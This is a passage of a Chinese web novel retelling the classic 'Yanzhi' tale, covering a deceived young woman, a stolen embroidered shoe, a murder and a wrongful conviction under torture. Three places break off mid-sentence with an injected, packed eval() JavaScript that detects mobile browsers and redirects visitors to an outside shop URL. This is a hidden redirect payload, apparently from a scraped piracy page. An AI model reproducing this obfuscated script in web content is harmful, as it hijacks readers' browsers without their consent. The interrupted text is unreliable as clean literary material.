婴宁笑盈盈地将那位娘子送到门口,就看到了李钰,高兴地打招呼:“少东家,您来啦!” 李钰听到婴宁对自己的称呼,倏尔一笑,“看你这般精神奕奕的样子,还挺适应啊。” “这是自然,店里的娘子和姑娘们都很热情,个个还能说会道,惯会逗人开心。我以前还想着自己出来做工必定不容易,结果到了此处,和姐妹们相处得还蛮愉快的。”婴宁兴奋地跟李钰说着自己的近况,又补充道,“这些胭脂水粉我也感兴趣,只刚来的时候,她们要我一定得笑脸迎人,我说这有何难?这不就是我时时在做的吗?” 听到这里李钰忍俊不禁,谁说不是呢? 旁边一个姑娘凑了过来,向少东家福了福身,立刻接话道:“可不是吗?婴宁妹妹总是这么乐天,弄得我们天天也忍不住跟着她笑。她呀,侍弄花草也有一手,不但把我们那小院打理的花团锦簇,就连大娘子也让她时不时去府上帮着整理园子。” 婴宁被她这么一夸,有些不好意思地笑了笑。 李钰倒有些意外,他也没听他娘说过,这么一说起来,他曾经可还答应了婴宁带她到自家花园来玩,结果没想到他娘倒是帮他完成的这个承诺。 55.胭脂(一) 两人又寒暄了几句,便各做各事去了,李钰在柜台随意地和掌柜娘子聊着近日的经营情况,婴宁也不打扰他,接待客人去了。 等李钰偶然扭头一看的时候,婴宁正和一个跟她年岁相仿的姑娘聊得起劲。 “胭脂姑娘,这雪粉虽然天然,可在脸上待不久,夏天一热极易花妆,反而掩盖了你本身的细腻皮肤。不若用紫粉敷面,粉质又细腻还带着淡淡的红色,白里透红更显气色,还有养肤之效呢。”婴宁热情地向那位叫胭脂的姑娘介绍道。 所谓雪粉就是米粉,这是最传统的妆粉,用米研磨而成,不刺激皮肤,可确实不够持妆还易结块。而紫粉则是紫茉莉种子研磨蒸熟制成,妆粉呈现出淡紫色或淡粉色,比之雪粉更加持妆,也不像铅粉那样苍白厚重,能呈现出祛黄和白里透红的效果。 李钰见婴宁介绍得很是专业,忽然有些恍惚,有种看到现代商场里化妆品导购的错位感。 只是对面那位胭脂姑娘还有些犹豫,她捏着手帕迟疑地问:“可这紫粉是不是要贵许多?” “我们这儿的紫粉也有不同的价格,最便宜一款只要一钱银子,也就比那好一些的雪粉贵个三十文。”婴宁依旧热情。 胭脂姑娘拿起那盒自带花香的紫粉颇有些爱不释手,可过了一会儿,她还是把那盒紫粉放回货架上,拿了一盒最普通的雪粉,有些歉意地对婴宁道:“算了,还是要这个雪粉吧。” 婴宁丝毫没有不满,依旧笑盈盈地带她去结账,胭脂姑娘掏出荷包里的钱数了数付了三十文。完事了婴宁还将她送至门口,弄得那位胭脂姑娘更不好意思了,低着头向她道了声谢,便匆匆离开了。 李钰目睹全程,刚刚看到那位胭脂姑娘,虽然穿着朴素,但是生得很漂亮的,素面朝天也十分的引人瞩目,其实不需要敷粉也足够光彩照人,真不负胭脂其名。 刚才和李钰搭话的那个小姑娘凑到婴宁旁边说道:“那位卞胭脂姑娘来了几次了?可算是买了,没想到却是买的最便宜的,真是浪费人时间。” 婴宁朝她摇摇头,“别这么说,哪个女孩子不想把自己打扮得漂漂亮亮的?人家问清楚点也正常。” 那姑娘嘟了嘟嘴,又八卦道:“你说她该不会是有了心上人了吧?那句话叫什么‘女为悦己者容’?” 婴宁点了点她的脑袋,“你啊,人家有没有心上人都可以打扮呀!红姐姐你也没个心上人,不还偷偷用柳枝抹了锅炉灰描眉?” 这话一出,旁边的人听得都笑了起来。 那姑娘被她说得红了脸,似真似假地生气道:“你怎么这样?我说别人你却说起我来了。” 婴宁忙笑嘻嘻地拉着她讨饶,大家笑得更开心了。 离开铺子前,李钰跟掌柜娘子提了一句,每月分出些脂粉供大家自用,铺子里的几位娘子、姑娘有个好形象,自然能卖出更多去,怎么能让她们去抹什么锅炉灰描眉? 掌柜抿嘴笑着,欢喜地应了下来。 另一边,卞胭脂拿着新买的雪粉返回家中。刚到家就忍不住净面敷粉,上好妆后她对着铜镜左看右看,好像确如婴宁说的,这粉质并不十分细腻,倒不如自己本来的皮肤了。 她悻悻地放下铜镜,早知道就咬咬牙买紫粉了,可她总感觉有些奢侈了,毕竟她们家实在不算富裕。 卞胭脂的父亲是本地的牛医,给牲畜看病的活计实在挣不了几个钱。可卞胭脂生得貌美如花,家中又只她这么一个女儿,卞牛医夫妻都很爱重她,倒是愿意极尽所能满足她的愿望,只是她自己不愿意为胭脂妆粉这些事平白给家中增加负担。 即便家中并不宽裕,她的父母还是能给的都给了,好歹是让她衣食无忧。二老如今最大的愿望就是自己的女儿能嫁个好人家,最好还是书香门第,以她女儿这样的品貌就是配秀才老爷也是配得上的。抱着这样的想法,夫妻俩拒绝了好几个上门说亲的媒婆,在他们看来那些都不算什么好姻缘。可女儿至今还是没有被书香门第的人户相中,眼见着年岁就渐渐大了,一家人还是有些忧心。 周边邻里暗地里笑他们一家白日做梦,长得漂亮又如何,出生低贱可是改不了的,真正的书香门第哪里看得上他们这样的门户? 可卞家人不为所动,卞胭脂也不似常人那般想,她也有自知之明,虽不像卞牛医夫妇那样执着要嫁入书香门第,但至少也要嫁一个她真正看得上的人吧。 而就在最近,这个人出现了。 那一日,家对门的龚家媳妇王氏来她家闲聊。王氏丈夫在外做生意,总是一个人在家,时常感到寂寞,和门对门的卞胭脂倒是聊得来,便没事就来找卞胭脂拉家常。 两个人在卞胭脂的闺房中,如往常一样闲话了许久,眼见着一下午就要过去了,王氏起身要告辞,卞胭脂将她送至门口。 开门的时候,正好一名白衣少年打门口经过。那少年身姿修长,衣袂翩翩,见有人从门中出来,下意识侧头一看,那一眼更是让卞胭脂看清了他如玉的面容,一时她都愣在了原地。那少年却一见是两名女子出来忙低下了头,匆匆离去。 卞胭脂看着他渐渐走远的身影,只觉自己的心也被牵走了。 一旁的王氏是过来人,目睹这一幕,哪能不知卞胭脂的心思?玩笑道:“像姑娘这般美貌,若是配上这样的男子,那才算得上相配呢。” 卞胭脂闻言羞红了脸,王氏更觉有趣,对她说:“你知道刚刚那是谁吗?” 胭脂摇了摇头。 王氏又道:“那是我娘家的邻居,他叫鄂秋隼,年纪轻轻可不一般,是新进的秀才郎!他那父亲以前可是举人老爷,就是死得早,如今家里只剩他和老母亲,正是需要一个娘子来操持家务呢。” 卞胭脂心下一动,嘴上却说:“那又与我何干?” “哈哈哈哈……”王氏笑出了声,“好妹妹,你若是有心,我找娘家人去帮你说一声,让他遣来媒人提亲可好?” “这……”卞胭脂张口要回绝,可话到嘴边竟吞了回去,这一停顿便愈加害羞。王氏笑说让她好好考虑,先自回家了。 而这事被卞胭脂放在了心上,隐隐期盼王氏真能去帮她说说,为此她还特意去买了雪粉,等着若真有媒人上门相看,能给人家留个好印象。 可是左等右等,王氏这些日子也没来她家,更没有媒人上门,卞胭脂又不好意思去问,于是每日闷闷不乐。 等到王氏过了些日子再登门,她见胭脂气色不太好,人也恹恹的,忙问道:“姑娘这是怎么了,怎么看着像病了?” 卞胭脂苦等许久,此时也顾不得矜持了,毕竟能找到一个合她心意的夫婿也是一件难得之事,如实相告道:“那日你我分别后,我便老是记挂着那位鄂生,可又不好来问你。如今你来了也请给我一个准话,若是不行我也好断了这念想。” 王氏见她真在为此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230132|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂心,心里还有些讶异,解释说:“姑娘想多了,前些天我丈夫回来了,昨日才又走的,家里事忙我就还没来得及去办这个事。如今既然知晓了姑娘的心意,那我便跟娘家人说一声,让他们探探那个鄂秀才的口风,你看可好?” 不待卞胭脂作答,王氏又灵光一现,想到个自认为更妙的法子,“你若是实在思念他,不如我替你带个口信去,让他夜里过来,你俩隔窗相会,有什么心意要传达你自与他说去,也好快快将好事定下。” 听了王氏这话,卞胭脂大惊失色,连忙拒绝:“这不行,这实在于礼不合!” 王氏毫不在意地一笑,“我的好妹妹,你这般挂心,迟早为此生出相思病。他家如今虽然败落,但功名在身前途有望,日后娶妻定也会计较许多……” 未尽之言卞胭脂心知肚明,便是往日街坊邻里笑她们一家那些话,她顿时蹙起柳眉。王氏察言观色,接着苦口婆心道:“我这可是真心话,还不如你俩好好见上一面,我不信你这般美貌他会不动心?若能早早地将此事定下来,他那边也好去跟他母亲说,免了中间许多的波折。” 卞胭脂觉着王氏话虽不好听,却是为自己着想,缓和了脸色,但仍拒绝道:“我可以不要脸面,但我爹娘不行。好姐姐你就帮我去问问,如果他不嫌弃我家的门第,便叫媒人来,可是私下相会之事却是万万不可。” 她已经说到这份上,王氏不好再劝,只表情有些不自然地应下了此事,又安慰了胭脂几句就走了。 要说这王氏为何提出让两人夜里私会的荒唐想法?还得是因为她自己就是这般做的。她家那口子一年到头难得在家几日,又还没个孩子,自己夜夜孤枕难眠,简直跟守活寡没有区别。一来二去,竟和她的老相好,一个名叫宿介的秀才搞到一起去了。 说起来,她当初的处境和卞胭脂还有些相似,自家小门小户,和她从小为邻,早有情意的宿介却是个书生,如今也是个秀才了。可宿介家里明明也不富贵,还嫌弃王家门户低贱,觉得自家儿子以后是要千金小姐来配的,坚决不肯让宿介娶她。王家人也不像卞牛医夫妇那样疼爱女儿,早早地打发她嫁人了,嫁给如今这个日日不着家的行脚商。 想到这些事,王氏就心中怨愤,她推己及人好心给卞胭脂出主意,卞胭脂却说那样伤人的话,真是白费她的一番好意! 夜深了以后,龚家的门被轻轻叩响,王氏前来打开一条小缝,往外张望一番,才将门外的男人放了进来。 来人正是她的老情人宿介,宿介一进门就抱住王氏狠狠亲了两口,“好娘子,可想煞我了。” 王氏娇笑着捶了他一下,两人便进了房,滚到一起去。 一番云雨过后,王氏就将自己今日在卞胭脂处受的委屈讲与宿介听,自然而然把卞胭脂心系鄂秋隼的前因也告诉了宿介。她本意是想在情郎这里消解消解情绪,而王氏万万没有想到,宿介听闻此事,却起了别样的心思。 当年宿介因为家人的反对,并未坚持求娶王氏,不顾那时二人已经私会过,却在人家嫁人后还来勾搭纠缠,这种人能是什么良善之辈?他知道了胭脂的少女心事,心里立刻打起了算盘。 要知道这卞胭脂是这一片出名的美人,纵使众人嘲笑卞家人心比天高,可也都不得不承认卞胭脂的美貌。 宿介抱着怀中熟睡的王氏,心却已经飘到对面院子里去了,一个计划在他心中悄然成形。 56.胭脂(二) 一晚夜幕降临,一个人影趁着夜色正浓翻墙进了卞家小院。他仔细辨认了房间,根据王氏往日只言片语中提到的,准确找到了卞胭脂的闺房。 没错,来人正是宿介。他色胆包天,竟也不担心卞家老夫妻还在家,在夜色遮掩下轻轻地叩响了卞胭脂的窗扉。 屋内的卞胭脂因为想着心上人,辗转反侧并未睡着,乍听见响动吓了一跳。起初还以为自己是听错了,她披上外衣走到窗前,敲窗户的声音又响起了,真的有人在敲窗! 卞胭脂立刻想到王氏之前所言,难道她真的把鄂秋隼叫来了?这个王姐姐,都跟她说了万万不可,怎还如此行事!可若真是鄂公子上门,那是不是证明他其实也对自己有意?卞胭脂是又气又喜、又怕又羞,忍不住对窗外之人问道:“是谁?” 宿介听到卞胭脂婉转的声音立刻喜上眉梢,答应道:“胭脂姑娘,是我,我是鄂秋隼啊!今夜特意前来赴约的。” 果然是鄂公子!可这王氏到底如何说的,怎还弄成赴她的约了?卞胭脂不知所措,慌乱又小心地低声道:“鄂公子千万不要误会,小女子对你有意是为了终身的婚约,而不只为一夕相会。公子若也有意,还请让媒人上门提亲,而不是私下来相会。” 宿介来此就是为了“骗相会”,哪能轻易答应?连忙哄骗说:“姑娘有所不知,那日初见惊鸿一瞥,我也对姑娘心生爱慕,自是真心想要求娶姑娘的。只是思念成疾,还望姑娘体谅,让我再见你一面也好。” “这深更半夜的,我若起来点灯让他人发现了,可如何是好?”卞胭脂听对方所言已是羞怯难当,却仍想劝鄂生不可如此行事。 宿介可还怕她点灯呢,更急道:“姑娘不用点灯,只开门让我握一握姑娘的手,你我执手成约,从此非卿不娶非君不嫁,立下约定可好?” 若只是执手成约何需非得开门?谎言虽是拙劣,言辞却是格外恳切。卞胭脂到底还是个不谙世事的姑娘,何况此时她还以为对方真是自己日思夜想的鄂公子。窗外宿介还在小声苦苦哀求,卞胭脂也不敢多犹豫,怕声音惊动父母,终于还是顺了他的意,说来给他开门。 她穿好衣服,又将头发梳顺,这才慢吞吞地走到门口,拉开一道小缝。 宿介早已等得不耐烦了,门一开立刻闯了进去,抱住卞胭脂就要一亲芳泽。卞胭脂哪有力气挣脱得了他?更没想到自己心中的谦谦公子竟是如此孟浪之人!她怒道:“你不是说只是执手成约吗?” 宿介哪管这些,得意笑道:“小声点,姑娘也不想惊动父母吧?实在是小生思念得紧,还请姑娘疼疼小生,让我一解相思之苦吧。” 卞胭脂都快气哭了,但确实不敢大叫,她压低声音道:“你,你一定不是鄂公子,鄂公子是秀才郎,定是温润如玉之人,绝不会做出你这样的事!你不是他,你再不放开我就要喊人了!” 宿介一听这话止住了动作,他一面又担心被卞胭脂识破,一面同为秀才被人这么比较,脸上到底也挂不住。更怕的是卞胭脂若真敢连自己名声也不要了,喊叫起来引来他人,他可就惹大麻烦了! 真没想到,这么个小娘子居然如此不好拿捏。 他心思一转,强压下心中的不满,放轻了力道,温声安抚道:“姑娘误解我了,我只是太过痴迷你,并非有意唐突于你,你若真不愿我怎会勉强?只是这日思夜想的滋味太难挨,我一时没忍住,还请姑娘原谅。” 卞胭脂总算挣脱开来,正色道:“你要是真心待我,早早来提亲就是,你我就都不必再受相思之苦。” 宿介见她没有继续再怀疑自己身份,忙又说了许多好话,可卞胭脂不为所动,只让他早早确定好提亲的事。可他哪里会真的来提亲?只想找个机会拉近关系后,再如拿下王氏那样将卞胭脂玩弄。两人僵持不下,宿介心生恶念,他一步上前强行将卞胭脂脚上的绣鞋脱了下来,惊得卞胭脂摔倒在地,闷哼一声。 黑暗中看不清宿介那副小人嘴脸,只听他道:“姑娘放心,我与你定下承诺定是要履行的。只是我也需一个凭证,有了这只绣鞋,我们以此为约,等下次再相会吧。” 此时的卞胭脂对眼前之人已经厌烦至极,她怎么也没想到鄂秋隼竟会是这样一个人!可如今自己的绣鞋在他手上,今后若惹出什么乱子,自己就是有一百张嘴也说不清,只能暂且安抚他道:“我都愿意把自己许给你,你还担心什么?如今你抢了我的鞋,料想也是不愿还我的,你只记得你的承诺,将来绝不能变心,不然我只能去死了。” 闻言,宿介冷笑一声,揣上鞋直接走人了。其实他心里也烦,没想到这姑娘如此棘手!虽是一击不成,可如今有她的绣鞋在手,就算是为了她自己的名声着想,不信她次次都这般刚烈,往后总有拿捏住她的时候。 他一走,卞胭脂就忍不住哭了,若知道鄂秋隼是这等衣冠禽兽,她哪里会心仪于他?往后可该怎么办才好啊? 而宿介翻墙出去,见四下无人,心里一把邪火又未得消,干脆直接去了对门龚家找王氏,王氏还天真地以为宿介想她了,喜滋滋地将其迎进了门。宿介衣服都来不及脱,只解下腰带就要行事,王氏也热情回应,两人干柴遇烈火,一阵颠鸾倒凤。等宿介总算泄了火,他搂着王氏,心里却还想着在卞胭脂那碰了壁,忍不住伸手去摸衣袖里的绣鞋,可这一摸,居然摸了个空! 宿介忙起身寻找,摸遍全身又将王氏的屋子里里外外看了一遍,竟是不见那只绣鞋踪影!王氏不明所以地问了他几遍,宿介却还怀疑上她,屋里就他们两人,难道是他东窗事发,王氏偷藏了绣鞋?于是他腆着脸哄王氏,让她快把鞋交出来,别坏他的好事。 “你疑神疑鬼的做什么?我拿你什么东西了?一进来就抱着我去了床上,我哪有什么时间藏你的劳什子鞋!”王氏被问烦了,连声反问他。 宿介一听,想来确实如此,可这鞋怎么就不见了呢?他急得像热锅上的蚂蚁,王氏已觉出不对,质问他到底怎么回事。 见此事怕是瞒不住了,宿介只能和盘托出。王氏气得冷笑,但也知道这鞋若是被有心之人捡走,恐怕对宿介和卞胭脂都不好,更说不好要是被人看到宿介丢鞋的过程,岂不就是看到他进了自家的门!她忍着气取出了灯笼,让宿介沿路去找。 可两家就住对门,三两下就找完了,根本没有绣鞋的影子。又等到天蒙蒙亮了,趁着大家都没起床,宿介又仔细找了一遍,还是没有,只得暂时作罢。 这么一遭下来,宿介做贼心虚连带着对卞胭脂的心思也消了下去,不敢再上门了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235527|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于那只绣鞋到底去哪了?这还要说到一个人,此人是本地的一个闲汉,名叫毛大。这家伙整日游手好闲不说还好色,见王氏丈夫常常不在家,早就想勾搭她了。可王氏瞧不上他,几次严词拒绝后,却被他意外发现了王氏和宿介的奸情,他时不时就来蹲守,打定主意抓他俩个现行,以此来要挟王氏。 那夜毛大就在龚家旁边的墙根下蹲守宿介,等了好半天,却见宿介从龚家对门的卞家翻墙出来。他落地的那一刻,身上掉下来一个东西,可宿介顾及查看四周有没有人,完全没有注意掉落的物品。然后就径直去了龚家,和王氏两个在门口就搂抱在一起。 毛大低声啐了一口,见门关上,立刻就去卞家墙外把那东西捡了起来,居然是一只女人的绣鞋! 好个宿介,艳福不浅啊。毛大将绣鞋直接揣进怀里,又按计划翻进龚家,躲在他们房外听墙根。里面早已是淫词浪语,听得他心痒难耐,本来这时他就该冲进去抓这对狗男女的现行。可想着胸口那只绣鞋,他强忍了下来没有闯进去,想再多偷听一会儿,看看到底怎么回事。 果不其然,那二人完事后宿介便开始找东西,还和王氏争执了起来。就这样,毛大把事情的来龙去脉都听了个遍。 这该死的宿介睡了他看上的女人,如今有这只绣鞋在手,他不也能去睡了宿介看上的女人?毛大面露□□,想到此处,他打消了原本的计划,悄悄退出了龚家。 于是,又是一个月黑风高的晚上,毛大学宿介翻墙进了卞家,他心里兴奋异常,摸着怀里的绣鞋,觉得这便宜捡得真是不赖。可宿介常听王氏说起卞家的事,早就清楚门户,毛大却是不知道的。他见有一间房的门没落闩,想着定是卞小娘子等情郎呢,抬手就去推门,“吱呀”一声,门应声而开。 里面立刻传来一个男人的声音,“谁在门口?” 毛大暗道倒霉,立刻转身就跑。 卞老汉已经看到了他的身影,卞老汉是时常和畜生打交道的,胆也大,丝毫不怵地跳下床就去追。 追出去一看,毛大正手忙脚乱地爬墙,卞老汉一声怒喝,上前就抓住毛大的裤脚将他从墙上扯了下来。毛大摔得屁股开花,心想完蛋,这下跑不掉了! 他一眼瞟到院中随意放置的镰刀,一时恶向胆边生,一个箭步冲过去将镰刀紧紧拿在手中,转身挥刀就砍! 这一刀正好劈在追过来的卞老汉头上!霎时,血花四溅! 卞老汉倒地不起,毛大被这一幕吓到不行,抖着手丢掉镰刀。他还爬什么墙?只飞快冲到大门,拉开门闩跑了。 此时,卞老汉妻子也穿好衣服出来查看,刚跨出门槛,就看到已经倒在地上的丈夫。她连忙冲过去想要扶起丈夫,凑近才发现丈夫竟是脑瓜迸裂,血流满地! 一声凄厉尖叫划破寂静深夜,左邻右舍的窗前纷纷亮了灯火。 卞胭脂听到声音也跑了出来,入目便是父亲的凄惨死状,她瘫软在地。就着房中油灯透出来的微弱光线,她忽然看到墙根下,一只孤零零的绣鞋。 这一瞬间,卞胭脂面上血色尽褪,几乎无法动弹的身体生出刺骨的寒意,如坠冰窖。 随着左邻右舍出来看情况的人越来越多,旭日渐渐东升,天光大亮,卞家的惨状血淋淋地铺开来。 57.胭脂(三) 今日外头晴空万里,李钰心情格外舒畅,有些日子没和白行野出去玩了,别让小龙觉得被冷落了才好。他掩上窗,兴冲冲坐到正在榻上喝茶的白行野身边,整个人跟没骨头一样靠了上去。 “行野,我们今天去画舫上玩,吹吹河风看看江景可好?” 白行野低头看向靠在他肩头,正仰面望着他的李钰,淡粉色的嘴唇一张一合,只觉心下漏了一拍。 “听我说话没啊?” 白行野回过神来,见李钰佯装生气,低头亲了亲他的脸颊说道:“我在听,今天去画舫玩,这就走吧,去哪都陪你。” 李钰这才满意,既然要出门,他要把自己拾掇得玉树临风的才好,正好这一季的夏装也做好了。 正挑选着外出的衣服,阿福过来敲门,在门外喊道:“少爷,丁少爷来了。” “师弟来得正好,可以一起去玩。”李钰边说边去开门,门刚打开就看到丁再昌居然都等不及小厮传话,已经站在他门口了。 只见丁在昌气喘吁吁,显然是跑过来的。见李钰一开门,他立刻道:“不好了师兄!秋隼被抓进衙门了!” “什么?!”李钰手中的衣服落地,白行野帮他捡了起来。 李钰忙将丁再昌拉进门,丁再昌才看到白行野,“原来白道长也在,你们大白天的关什么门呢?” 李钰哪里有闲心跟他解释这些,忙问道:“怎么回事啊?秋隼怎么会被抓?” “听说是杀人案,他们说秋隼杀了人!一大早就有人报了官,还说是有证人的!” 鄂秋隼被抓进衙门本就够令人吃惊了,理由竟然还是杀人?李钰和白行野都露出了不可置信的表情。 “这不可能!秋隼怎么会杀人呢?” “我也不清楚是怎么回事,是席兄来跟我说的。说是一大早就有衙门的人来把秋隼从家里抓走了,把伯母给吓得不轻,她去席家找人帮忙,席兄安顿好她以后,才来找的我……哎呀!我也不知详细情况,席兄现在在衙门口旁听审案,让我先来找你们,等公堂上有个原委了,我们再看怎么办?”丁再昌一路跑过来,又说了一连串话,累得上气不接下气。 出了这事,李钰他们自然就放下游玩的事,和丁再昌一同出门直奔县衙去了。 县衙公堂之上,新晋知县胡端坐在公案后审视堂下之人。这是他任知县以来接到的第一桩大案,还是杀人案!新官上任三把火,定要把这桩案子办得漂漂亮亮的才好! 堂下跪着的是本地牛医也是死者卞老汉的亲眷卞胭脂母女,站着的则是杀人嫌犯鄂秋隼,因有功名在身,不必下跪。 可这桩杀人案,案情清晰明了,乃是卞胭脂和秀才鄂秋隼无媒苟合引来的祸患,有卞胭脂的证词和掉落的绣鞋为证!胡知县捋了捋胡子,案件如此简单,且看他如何让犯人认罪伏法! 此时,堂下的鄂秋隼吓得面如金纸,似乎都有些站不稳,胡知县更觉是他心里有鬼,必是杀人凶犯无疑。 “啪”的一声,惊堂木拍在公案上,胡知县喝道:“犯人鄂秋隼,人证物证俱全,你还有何抵赖?” 鄂秋隼一大早莫名其妙被抓到衙门,还是因为杀人案被抓,本就惶然无措,又听卞胭脂陈述案情,将自己牵扯了进去。夜里去找她、抢她绣鞋、甚至还杀她父亲,将绣鞋遗落在了现场。他跟听说书一样,听着这些与自己毫无关系,却桩桩件件都指向自己的事,一时惊怒交加。 鄂秋隼拱手高呼:“大人明鉴,我压根不认识这位卞姑娘,何来的私相授受?更不可能因此去杀她的父亲啊!” 卞胭脂此刻已经顾不得脸面,父亲因自己而死,她如今就算声名扫地,甚至是一死!也定要为惨死的父亲讨回公道! 她看着鄂秋隼这张纯良假面,怒斥道:“前几日明明就是你夜里上门敲我窗户!我让你走,你还不愿,非得让我开门!还抢了我的绣鞋说以此为凭证,难道你都忘了?那夜你的声音我记得清清楚楚,和如今一模一样,还能有假?” 他们却不知道鄂秋隼和宿介长得是两模两样,但声音却有些相似。卞胭脂只听过一次宿介的声音,哪能记得那么清楚?只是因为先入为主认定了鄂秋隼,此时此刻又听得他声音与那晚的声音差别似乎不大,更是确信了。自己以为的一见倾心实则是引狼入室,如今已是恨极了眼前的翩翩少年。 “卞姑娘话可不能乱说,我什么时候去见过你?若不是被无缘无故被抓到这公堂上,我根本就不会认识你。”鄂秋隼急道。 卞胭脂大骂:“你还在狡辩!若是不认识我,我的绣鞋为何在你身上?若不是你杀了我父亲,遗落了绣鞋,那又能是谁?” “我根本就没找过你,也没拿过绣鞋,我也想知道你们为什么就要认定我?你这番言论完全就是穿凿附会,诬陷于我!” 卞胭脂只觉得他厚颜无耻,为了脱罪居然直接称不认识自己!她悲极怒极,含泪对胡知县道:“知县大人在上,小女子以自己的清白和名声担保,当晚就是鄂秋隼带走了我的绣鞋,还一再要求再来与我相会。当日我拒绝多次,让他若有意就上门提亲,没成想他表面答应背后却做出这么丧心病狂之事!为了还我父亲一个公道,小女子舍了脸面和性命来报官,绝不可能无缘无故攀咬鄂秋隼!” “你你你……”鄂秋水知道她这话份量有多重,但他却百口莫辩,这根本没有做过的事情,他也不知如何辩驳! 惊堂木又是一拍,胡知县道:“一个未出阁的女子用自己的清白名声来诬告你吗?犯人鄂秋隼,你若还不招供,便要上大刑伺候了!” 鄂秋隼眼泪都要下来了,可他实在不知事情究竟是怎么回事,为何会牵扯到他身上?急得跪下大喊冤枉。 “大胆犯人,事到如今还不招供!看来是不受点皮肉之苦,你是不会将衙门放在眼里!” 胡知县伸手从签桶中取出三支红头签用力扔在地上,令签掷地有声,分列两班的皂隶跟着发出“威武——”的声音。 此情此景将鄂秋损震慑当场,不敢动弹。立刻有一名衙役手执水火棍走上前来,另有两人将鄂秋隼压倒在地上。 鄂秋隼喊道:“大人,我真的是冤枉的!我根本不认识她!求大人明鉴啊……”话音未落,他只听得身后袭来一道风声,猛一扭头就见一衙役高高抬起棍棒,就要向他一棒挥下。 等李钰他们赶到衙门的时候,案子已经审理完毕,鄂秋隼收押大牢了。衙门前席方平和父亲席廉见李钰他们来了,面色凝重地走过来跟他们说明情况。 席廉摇了摇头,“此事不好办啊,我先回去跟你娘说说,安顿好秋隼的母亲,你跟他们说说具体的吧。” 席方平应下,衙门前围观者众多,人多口杂,说什么的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238492|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,几人便直接去了广源客栈详谈。 一到了地方,席方平就再难掩饰自己的愤怒,他一捶桌子怒道:“这个胡知县简直荒唐!居然欲将秋隼屈打成招!我们都是知道秋隼的,以他的人品不会做这种事,以他的胆量更不可能!他素来为人拘谨,见到陌生女子头都不敢抬,哪里去认识那个卞胭脂?” 李钰三人都听得云里雾里,赶紧让席方平将事情经过细细说来。他这才将公堂之上的案情陈述和审理经过全都一一道来。 其他三人听完,俱是明白了席方平方才的心情。李钰不可置信道:“这断案居然如此草率吗?所谓的人证物证,人证并未在夜里看清过对方的脸,物证更不能证明那只绣鞋就是秋隼掉落的,怎么能断定杀人者是秋隼呢?” 丁再昌也怒极,“且不说我们认识的秋隼不会做这样的事,这胡大人也只是听信一面之词,难道就因为那位卞姑娘以自己的清白和名声作保,就断定她不会认错,不会撒谎吗?” 席方平摇头叹道:“说这些也没用,秋隼他受不住杖刑,已经当堂认下罪行了。” “这……秋隼糊涂啊!”丁再昌一脸恨铁不成钢。 “你们是没看到,那三十杖刑下去,直打得秋隼皮开肉绽,血水将衣服都染红了!若不是他认罪求饶后直接晕过去了,恐怕已经当场画押了。” 李钰听不下去了,猛地站起来,“怎能如此行事?他被关进大牢,身上还有这么重的伤,秋隼本就瘦弱怎么撑得住?” “他的伤我可以想办法。”白行野赶紧安抚李钰,“我可以潜进去给他送药疗伤,无论如何得先把秋隼的命保住。” 另外三人立刻感激地看向白行野。 “幸好有白道长!” 丁再昌又担心地问:“不过狱中森严,白道长有把握不被发现吗?” “你们放心,行野法力高强,这点事还是没问题的。”李钰比白行野还先开口,他又对白行野道,“家里有上好的金疮药,我陪你去拿。你进了牢里告诉秋隼一定不要画押,他没有做的事一定不能认,我们在外面会为他想办法的。” 席方平和丁再昌也连连点头,丁再昌催到,“师兄,你和白道长先去,我和方平兄留在这里再商议一会儿,等你们回来。” “好,你们就在此处等我。”两人立刻回家拿药。 路上,白行野道:“若是担心,我可以将秋隼救出来。” “不可。”李钰立刻拒绝,“我特意说和你一起回来,就是怕你冲动。” “人间的事还是得有人间的办法解决,不然以前我们遇到的很多事,不都只用你随便动动手指就能解决?” 白行野不是很能理解,但也没有反驳。 李钰正色道:“以你之能,自然可以轻易将秋隼救出来,可是他的名声和前途就都毁了,难道以后要带着老母亲东奔西走,偷偷摸摸过日子吗?他明明是个秀才,还准备接着去考科举,有大好的前程等着他。所以与其将他救出来,不如我们将事情调查清楚,还他一个公道。” “做人也不容易,名声比命重要。”白行野摇摇头。 “也非是如此……”李钰摇头轻叹,此时也顾不得和行野说那许多道理。 两人匆匆回家拿了药,白行野便飞身去了县衙,李钰则又去往客栈,也不知师弟他们商量出个什么章程没。 58.胭脂(四) 客栈中,席方平表情为难道:“我们本想从那位卞姑娘下手,她是苦主也是证人,只有她才知道事情的真实经过。今日在衙门前观看审理过程,我看秋隼是真的不认识她,就是这会儿白道长去问他,恐怕他也说不出个所以然来。” 